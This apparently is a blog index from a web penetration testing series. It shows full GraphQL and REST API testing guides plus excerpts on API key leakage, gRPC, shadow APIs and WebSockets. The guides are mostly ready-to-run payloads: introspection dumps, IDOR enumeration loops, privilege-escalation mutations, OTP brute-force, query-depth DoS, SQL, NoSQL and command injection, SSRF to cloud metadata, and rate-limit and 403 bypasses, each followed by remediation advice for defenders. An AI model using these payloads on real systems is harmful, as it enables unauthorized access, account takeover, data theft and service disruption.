API Key Leakage

API Key Leakage Severity: High–Critical | CWE: CWE-312, CWE-200, CWE-522 OWASP: A02:2021 – Cryptographic Failures | A09:2021 – Security Logging Failures What Is API Key Leakage? API keys, tokens, secrets, and credentials exposed through unintended channels β€” JavaScript bundles, git history, HTTP responses, mobile app binaries, environment variables in public CI logs, and configuration files. Unlike authentication token theft, API key leakage is passive: the credential is simply read from a public source. ...

February 24, 2026 Β· 10 min Β· MrAzoth

GraphQL Security Testing

GraphQL Security Testing Severity: High–Critical | CWE: CWE-284, CWE-200, CWE-400 OWASP: A01:2021 – Broken Access Control | A05:2021 – Security Misconfiguration What Is GraphQL? GraphQL is a query language for APIs where clients specify exactly what data they need. Unlike REST, GraphQL exposes a single endpoint (/graphql, /api/graphql) and allows flexible queries, mutations, and subscriptions. Security issues arise from introspection, missing authorization, batching abuse, and complex query DoS. # Query (read): query { user(id: 1) { name email role } } # Mutation (write): mutation { createUser(input: {name: "attacker", role: "admin"}) { id } } # Subscription (real-time): subscription { newMessage { content sender } } Discovery Checklist Find GraphQL endpoint: /graphql, /api/graphql, /gql, /query, /v1/graphql Try GET /graphql?query={__typename} β€” quick existence check Check introspection: {__schema{types{name}}} β€” enabled in production? Map all types, queries, mutations via introspection Test missing authorization on queries (no auth required for sensitive data) Test IDOR on object IDs in queries Test mutations for privilege escalation (role field, admin flag) Test query batching β€” send array of queries: [{query:...},{query:...}] Test alias-based query multiplication Test deeply nested queries for DoS (no depth/complexity limits) Test introspection bypass (disabled? β†’ try field name guessing) Look for debug fields: __debug, _service, sdl Test HTTP verb: many endpoints accept both GET and POST Check for Content-Type: application/json vs multipart/form-data (file upload) Payload Library Payload 1 β€” Introspection Queries # Full schema dump: query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } # Quick introspection via curl: curl -s -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name kind}}}"}' | python3 -m json.tool # Get all queries and mutations: curl -s -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{queryType{fields{name description args{name type{name kind}}}}}}"}' \ | python3 -m json.tool # List all mutations: curl -s -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{mutationType{fields{name description args{name type{name}}}}}}"}' \ | python3 -m json.tool Payload 2 β€” Introspection Bypass Techniques # If introspection is blocked β†’ try alternate formats: # Method suggestion (partial introspection): {"query": "{__type(name: \"User\") {fields {name type {name}}}}"} # Typename leak: {"query": "{__typename}"} # Field suggestion: send invalid field β†’ error reveals valid fields {"query": "{ user { invalidField } }"} # Error: "Did you mean 'email'? 'username'? 'role'?" # Disable introspection bypass via newlines (some implementations): {"query": "{\n __schema\n{\ntypes\n{\nname\n}\n}\n}"} # Via GET request (different parser path): GET /graphql?query={__schema{types{name}}} # Fragment-based (bypass regex filters on "__schema"): {"query": "fragment f on __Schema { types { name } } { ...f }"} # X-Apollo-Tracing header sometimes re-enables debug: -H "X-Apollo-Tracing: 1" # Playground / IDE endpoints (often unrestricted): GET /graphiql # GraphiQL GET /graphql/playground # Apollo Playground GET /altair # Altair client GET /voyager # GraphQL Voyager Payload 3 β€” Authorization Testing # Query without authentication β†’ sensitive data? curl -s -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{ users { id email role password } }"}' # IDOR via ID enumeration: for id in $(seq 1 50); do curl -s -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -H "Authorization: Bearer YOUR_LOW_PRIV_TOKEN" \ -d "{\"query\":\"{ user(id: $id) { id email role privateData } }\"}" done # Access another user's private data: {"query": "{ user(id: 1337) { email billingAddress creditCard } }"} # Try admin queries with user token: {"query": "{ adminPanel { users { id email isAdmin } } }"} {"query": "{ allUsers { nodes { id email passwordHash } } }"} Payload 4 β€” Mutation Privilege Escalation # Modify own role: curl -s -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -H "Authorization: Bearer USER_TOKEN" \ -d '{"query":"mutation { updateUser(id: \"MY_ID\", input: {role: \"admin\"}) { id role } }"}' # Create admin user: {"query": "mutation { createUser(input: {email: \"attacker@evil.com\", password: \"pass\", role: \"admin\", isAdmin: true}) { id } }"} # Password reset without token: {"query": "mutation { resetPassword(email: \"victim@corp.com\") { success } }"} # Delete another user's data (IDOR via mutation): {"query": "mutation { deletePost(id: \"VICTIM_POST_ID\") { success } }"} # Mass assignment in mutation β€” try extra fields: { "query": "mutation { updateProfile(input: {name: \"test\", isAdmin: true, role: \"superadmin\", verified: true, credits: 99999}) { id name role } }" } Payload 5 β€” Batching / Brute Force via Aliases # Query batching β€” send array of requests (bypasses rate limit per-request): curl -s -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -d '[ {"query": "mutation { login(email:\"admin@corp.com\", password:\"password1\") { token } }"}, {"query": "mutation { login(email:\"admin@corp.com\", password:\"password2\") { token } }"}, {"query": "mutation { login(email:\"admin@corp.com\", password:\"password3\") { token } }"} ]' # Alias-based batching in single request: mutation { a1: login(email: "admin@corp.com", password: "password1") { token } a2: login(email: "admin@corp.com", password: "password2") { token } a3: login(email: "admin@corp.com", password: "password3") { token } } # Alias OTP brute-force (all 10000 codes in one request): # Generate query: python3 -c " queries = [] for i in range(10000): code = f'{i:04d}' queries.append(f'a{i}: verifyOTP(code: \"{code}\") {{ valid }}') print('mutation {\\n' + '\\n'.join(queries) + '\\n}') " > brute_otp.graphql Payload 6 β€” Query Depth / Complexity DoS # Deeply nested query β€” exponential server-side resolution: { user(id: 1) { friends { friends { friends { friends { friends { friends { id email } } } } } } } } # Circular fragment DoS: fragment f1 on User { friends { ...f2 } } fragment f2 on User { friends { ...f1 } } { user(id: 1) { ...f1 } } # Field duplication: { user(id:1) { id id id id id id id id id id id } } # Python generator for deep nesting: depth = 20 query = "{ user(id: 1) { " + "friends { " * depth + "id" + " }" * depth + " }" print(query) Payload 7 β€” Information Disclosure # Check for debug / tracing fields: {"query": "{ __typename _service { sdl } }"} # Apollo Federation SDL {"query": "{ _entities(representations: []) { __typename } }"} # Federation {"query": "{ __schema { description } }"} # Error messages revealing internals: {"query": "{ user(id: \"' OR 1=1--\") { id } }"} # SQLi via GraphQL {"query": "{ user(id: \"$(id)\") { id } }"} # CMDi via GraphQL {"query": "{ fileContent(path: \"/etc/passwd\") { content } }"} # LFI via field # Subscription enumeration: {"query": "subscription { newUser { id email password } }"} # Check for __resolveType disclosure: {"query": "{ node(id: \"VXNlcjox\") { __typename ... on User { email role } } }"} Payload 8 β€” GraphQL Injection (SQLi/CMDi via Resolver) # If resolver passes args directly to SQL: {"query": "{ user(name: \"admin' UNION SELECT password FROM users--\") { id } }"} {"query": "{ search(query: \"test' OR '1'='1\") { results } }"} # NoSQLi via GraphQL: {"query": "{ users(filter: {email: {$gt: \"\"}}) { nodes { id email } } }"} # SSRF via GraphQL URL field: {"query": "{ importProfile(url: \"http://169.254.169.254/latest/meta-data/\") { data } }"} {"query": "{ webhook(url: \"http://COLLABORATOR_ID.oast.pro/test\") { status } }"} # SSTI via template field: {"query": "{ renderEmail(template: \"{{7*7}}\") { output } }"} Tools # GraphQL Voyager β€” visual schema explorer: # Load introspection result β†’ visual graph of all types/relations # InQL β€” Burp Suite extension (essential): # BApp Store β†’ InQL # Auto-generates query templates from introspection # Batch attack mode # graphw00f β€” GraphQL engine fingerprinting: git clone https://github.com/dolevf/graphw00f python3 graphw00f.py -t https://target.com/graphql # clairvoyance β€” schema recovery without introspection: git clone https://github.com/nikitastupin/clairvoyance python3 -m clairvoyance -u https://target.com/graphql -w wordlist.txt # GraphQL cop β€” security audit tool: pip3 install graphql-cop graphql-cop -t https://target.com/graphql # Dump full schema via introspection: python3 -c " import requests, json r = requests.post('https://target.com/graphql', json={'query': open('introspection_query.graphql').read()}, headers={'Authorization': 'Bearer TOKEN'}) print(json.dumps(r.json(), indent=2)) " # graphql-path-enum β€” enumerate hidden paths: git clone https://github.com/nicowillis/graphql-path-enum # curl quick tests: # Check introspection: curl -s -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name}}}"}' | jq '.data.__schema.types[].name' # List all queries: curl -s -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{queryType{fields{name}}}}"}' | jq '.data.__schema.queryType.fields[].name' Remediation Reference Disable introspection in production: configure server to block __schema and __type queries Query depth limiting: max 5–10 levels; reject deeper queries Query complexity limits: assign cost to each field, reject queries above threshold Rate limiting per operation: limit both batched arrays and aliased queries Authorization at resolver level: check permissions on every resolver, not just entry point Persistent query allowlisting: only accept pre-registered query hashes in production Disable batching if not required by the client application Input validation: treat GraphQL args as untrusted input (prevent SQL/NoSQL/CMDi injection) Part of the Web Application Penetration Testing Methodology series.

February 24, 2026 Β· 8 min Β· MrAzoth

gRPC Security Testing

gRPC Security Testing Severity: High | CWE: CWE-284, CWE-20 OWASP: A01:2021 – Broken Access Control | A03:2021 – Injection What Is gRPC? gRPC is Google’s Remote Procedure Call framework using HTTP/2 as transport and Protocol Buffers (protobuf) as the serialization format. Unlike REST, gRPC uses a binary wire format and requires a .proto schema definition. The attack surface differs significantly from REST APIs: Binary encoding obscures payloads from passive inspection gRPC reflection (server-side schema discovery) often left enabled in production Authentication is per-connection or per-call via metadata headers Four communication patterns: unary, server-streaming, client-streaming, bidirectional streaming gRPC-Web is a browser-compatible variant proxied through HTTP/1.1 or HTTP/2 gRPC attack surface: gRPC Reflection β†’ full service/method enumeration (like introspection in GraphQL) Metadata headers β†’ auth bypass (incorrect header parsing, case sensitivity) Protobuf fuzzing β†’ buffer overflow, type confusion in custom parsers Authorization on service vs method level β†’ method-level bypass gRPC-Web proxy β†’ HTTP/1.1 wrapper enables Burp interception without plugin Discovery Checklist Phase 1 β€” Service Discovery ...

February 24, 2026 Β· 9 min Β· MrAzoth

REST API Security Testing

REST API Security Testing Severity: High–Critical | CWE: CWE-284, CWE-285, CWE-200 OWASP API Top 10: API1–API10 What Is REST API Security Testing? REST APIs expose application logic directly β€” often with less protection than web UIs. The OWASP API Security Top 10 defines the primary attack vectors: Broken Object Level Authorization (BOLA/IDOR), Broken Authentication, Broken Object Property Level Authorization (Mass Assignment), Rate Limiting bypass, and more. REST API attack surface vs web UI: - No session cookie β†’ token-based auth β†’ different bypass techniques - Machine-readable responses β†’ easier automated enumeration - Versioned endpoints (/v1, /v2) β†’ old versions may lack controls - Documentation endpoints (/swagger, /openapi.json) β†’ reveals all endpoints - Often less WAF/filtering than web UI Discovery Checklist Find API documentation: /swagger-ui, /openapi.json, /api-docs, /redoc, /graphql Enumerate versioned endpoints: /v1/, /v2/, /api/v1/, /api/v2/ Check for shadow/zombie endpoints (old versions still accessible) Test BOLA on all object IDs (numeric, UUID, base64) Test HTTP method override: GETβ†’DELETE, GETβ†’PUT via X-HTTP-Method-Override Test mass assignment in PUT/PATCH bodies (add admin/role fields) Test authentication header bypass: missing, invalid, expired tokens Test rate limiting: login, OTP, search, expensive operations Test JWT-specific attacks (see 28_JWT.md) Check CORS on API: does it reflect Origin with Access-Control-Allow-Credentials: true? Test for verbose error messages revealing internals Test file upload endpoints (see 24_FileUpload.md) Check pagination: does negative/zero offset reveal unintended data? Payload Library Attack 1 β€” BOLA / Broken Object Level Authorization # Basic IDOR: change your ID to someone else's GET /api/v1/users/MY_ID/profile β†’ 200 OK (your data) GET /api/v1/users/1/profile β†’ should be 403, but... GET /api/v1/users/ADMIN_ID/profile β†’ cross-account access? # Systematic enumeration: for id in $(seq 1 100); do status=$(curl -so /dev/null -w "%{http_code}" \ "https://api.target.com/v1/users/$id/profile" \ -H "Authorization: Bearer USER_TOKEN") echo "User $id: $status" done # UUID enumeration β€” less guessable but still test: # Find UUIDs in responses, increment/fuzz them curl https://api.target.com/v1/orders/6ba7b810-9dad-11d1-80b4-00c04fd430c8 \ -H "Authorization: Bearer ANOTHER_USER_TOKEN" # Object type substitution: GET /api/orders/1234 β†’ your order GET /api/invoices/1234 β†’ same ID, different resource type GET /api/admin/users/1234 β†’ horizontal β†’ vertical escalation # Nested resource BOLA: GET /api/users/VICTIM_ID/addresses # victim's addresses GET /api/users/VICTIM_ID/payment-methods # victim's payment methods GET /api/users/VICTIM_ID/orders # victim's order history Attack 2 β€” Broken Function Level Authorization (BFLA) # Test accessing admin-only endpoints with regular user token: GET /api/v1/admin/users β†’ list all users POST /api/v1/admin/users/1/promote β†’ promote to admin DELETE /api/v1/users/VICTIM_ID β†’ delete another user GET /api/v1/reports/financial β†’ financial data POST /api/v1/system/config β†’ system configuration # HTTP method confusion: # App only protects POST /resource but not PUT, PATCH, DELETE GET /api/v1/admin/settings β†’ 403 POST /api/v1/admin/settings β†’ 403 PUT /api/v1/admin/settings β†’ 200? (missing protection) # Path traversal in API: GET /api/v1/users/me/../admin/users β†’ path confusion GET /api/v1/../admin/settings β†’ skip auth prefix # Version bypass: GET /api/v2/admin/users β†’ 403 GET /api/v1/admin/users β†’ 200 (old version unprotected) GET /v1/admin/users β†’ different path, same backend Attack 3 β€” Mass Assignment # Find: what fields does the server accept? # PUT /api/v1/users/me with extra fields: curl -X PUT https://api.target.com/v1/users/me \ -H "Authorization: Bearer TOKEN" \ -H "Content-Type: application/json" \ -d '{ "name": "Test User", "email": "test@test.com", "role": "admin", "isAdmin": true, "verified": true, "credits": 99999, "subscription": "enterprise", "permissions": ["read", "write", "delete", "admin"] }' # PATCH β€” partial update often even less protected: curl -X PATCH https://api.target.com/v1/users/me \ -H "Authorization: Bearer TOKEN" \ -H "Content-Type: application/json" \ -d '{"role": "admin"}' # Nested mass assignment: curl -X PUT https://api.target.com/v1/products/123 \ -d '{"price": 0.01, "discount": 100, "internal": {"cost": 0}}' # Registration mass assignment: curl -X POST https://api.target.com/v1/register \ -d '{ "username": "attacker", "password": "pass", "isAdmin": true, "emailVerified": true, "betaAccess": true }' Attack 4 β€” Rate Limit Bypass # Header-based IP rotation (X-Forwarded-For etc.): for ip in $(seq 1 50 | xargs -I{} echo "192.168.1.{}"); do curl -s -X POST https://api.target.com/v1/auth/login \ -H "X-Forwarded-For: $ip" \ -H "Content-Type: application/json" \ -d '{"email":"admin@corp.com","password":"test"}' & done wait # Rate limit per endpoint but not per action: # Endpoint A limits to 10/min, Endpoint B has no limit # But both write to same counter β†’ abuse endpoint B # Null byte bypass (some parsers treat as request boundary): POST /api/login HTTP/1.1 email=admin@corp.com%00&password=test # Content-Type variation: # Rate limit checks JSON Content-Type only β†’ bypass with form-encoded: curl -X POST https://api.target.com/v1/otp/verify \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "otp=123456" # instead of JSON Attack 5 β€” API Key / Token Testing # Find API keys in: # JS files, Git history, mobile app decompiled code, documentation # Test API key scope escalation: # My key: read-only β†’ try write operations curl -X DELETE https://api.target.com/v1/users/1337 \ -H "X-API-Key: MY_READ_ONLY_KEY" # API key in URL β†’ leaks in Referer, logs: curl "https://api.target.com/v1/data?api_key=SECRET_KEY" # More secure: Authorization: ApiKey SECRET_KEY # Test: does API accept both header and URL param key? # β†’ URL param is logged in server access logs β†’ harvest from logs # Key rotation bypass (old keys still valid?): curl https://api.target.com/v1/me \ -H "Authorization: Bearer OLD_TOKEN" # JWT-based API auth β†’ see 28_JWT.md for full attack tree Attack 6 β€” Excessive Data Exposure # API returns more data than UI shows: # UI shows: name, email # API returns: name, email, phone, dob, ssn, password_hash, internal_id curl -s https://api.target.com/v1/users/me \ -H "Authorization: Bearer TOKEN" | python3 -m json.tool # Nested object exposure: curl -s https://api.target.com/v1/products/1 | python3 -m json.tool # β†’ {"name":"Widget","price":9.99,"internal":{"cost":0.50,"supplier_id":42}} # Admin fields in regular user response: # Look for: isAdmin, role, permissions, internal_notes, createdBy, updatedAt # Batch API β€” get all users' data: POST /api/graphql {"query": "{ users { nodes { id email passwordHash } } }"} # Or: GET /api/v1/users?page=1&per_page=10000 # pagination abuse Attack 7 β€” Shadow / Zombie Endpoint Discovery # Enumerate API versions: for v in v1 v2 v3 v4 v0 beta alpha internal; do status=$(curl -so /dev/null -w "%{http_code}" \ "https://api.target.com/$v/users") echo "/$v/users: $status" done # Check Swagger/OpenAPI docs: for path in swagger-ui swagger-ui.html api-docs openapi.json \ swagger.json swagger.yaml redoc v1/swagger.json; do curl -si "https://target.com/$path" | head -3 done # Find API from JS bundles: grep -rn "api/v\|endpoint\|baseURL\|apiUrl" --include="*.js" . | \ grep -v "node_modules" # Wayback Machine for old API endpoints: waybackurls api.target.com | grep -E "/api/v[0-9]" | sort -u # ffuf with API wordlist: ffuf -u https://api.target.com/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \ -mc 200,201,204,301,302,403 -o api_endpoints.json Tools # Burp Suite: # - Proxy: capture all API traffic # - Repeater: manual BOLA/BFLA testing # - Scanner: automated IDOR detection # - Extensions: Autorize (BOLA), AuthMatrix (BFLA), Param Miner # mitmproxy β€” API traffic interception: mitmproxy --mode transparent --ssl-insecure # Postman / Insomnia β€” API testing: # Import Swagger/OpenAPI spec β†’ test all endpoints # REST-assured (Java) β€” automated API testing framework # jwt_tool β€” JWT analysis (see 28_JWT.md): python3 jwt_tool.py TOKEN -t # ffuf β€” API endpoint fuzzing: ffuf -u "https://api.target.com/v1/FUZZ" \ -H "Authorization: Bearer TOKEN" \ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt # Autorize (Burp extension): # Automatic BOLA testing β€” replays every request with low-priv token # and compares responses # 403 bypass techniques: for h in "X-Original-URL" "X-Rewrite-URL" "X-Custom-IP-Authorization" \ "X-Forwarded-For" "X-Forward-For" "X-Remote-IP"; do curl -s -H "$h: 127.0.0.1" "https://api.target.com/admin/users" | head -5 done # HTTP method fuzzing: for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do status=$(curl -so /dev/null -w "%{http_code}" \ -X "$method" "https://api.target.com/v1/users/1337" \ -H "Authorization: Bearer LOW_PRIV_TOKEN") echo "$method: $status" done Remediation Reference BOLA: validate object ownership on every request β€” not just authentication BFLA: enforce function-level authorization server-side β€” client-side hiding is not protection Mass Assignment: use allowlists for accepted fields β€” never auto-bind all request body fields Rate Limiting: apply per user, per IP, and per endpoint β€” use token bucket or sliding window algorithms Excessive Data Exposure: return only the fields needed β€” use response DTOs, never serialise full DB models Shadow APIs: inventory and decommission old API versions; redirect with 301 or return 410 Gone API Documentation: restrict Swagger/OpenAPI access to internal network or require authentication Versioning strategy: when deprecating, enforce authorization controls on old versions equally Part of the Web Application Penetration Testing Methodology series.

February 24, 2026 Β· 7 min Β· MrAzoth

Shadow APIs & Zombie Endpoints

Shadow APIs & Zombie Endpoints Severity: High | CWE: CWE-200, CWE-284 OWASP: A09:2021 – Security Logging and Monitoring Failures | A01:2021 – Broken Access Control What Are Shadow APIs? Shadow APIs (also called zombie or undocumented APIs) are endpoints that exist in a running application but are not included in the official API documentation, not monitored by security teams, and often not protected by the same controls as documented APIs. They fall into several categories: ...

February 24, 2026 Β· 10 min Β· MrAzoth

WebSocket Protocol Security (Deep Dive)

WebSocket Protocol Security (Deep Dive) Severity: High | CWE: CWE-345, CWE-284, CWE-89 OWASP: A01:2021 – Broken Access Control | A03:2021 – Injection WebSocket Protocol vs. HTTP WebSocket (RFC 6455) establishes a persistent, bidirectional, full-duplex channel over a single TCP connection. After the HTTP/1.1 upgrade handshake, the protocol operates independently of HTTP β€” separate authentication model, separate framing, separate proxy behavior. This creates attack surface that HTTP-focused defenses miss. Key differences from HTTP: ...

February 24, 2026 Β· 11 min Β· MrAzoth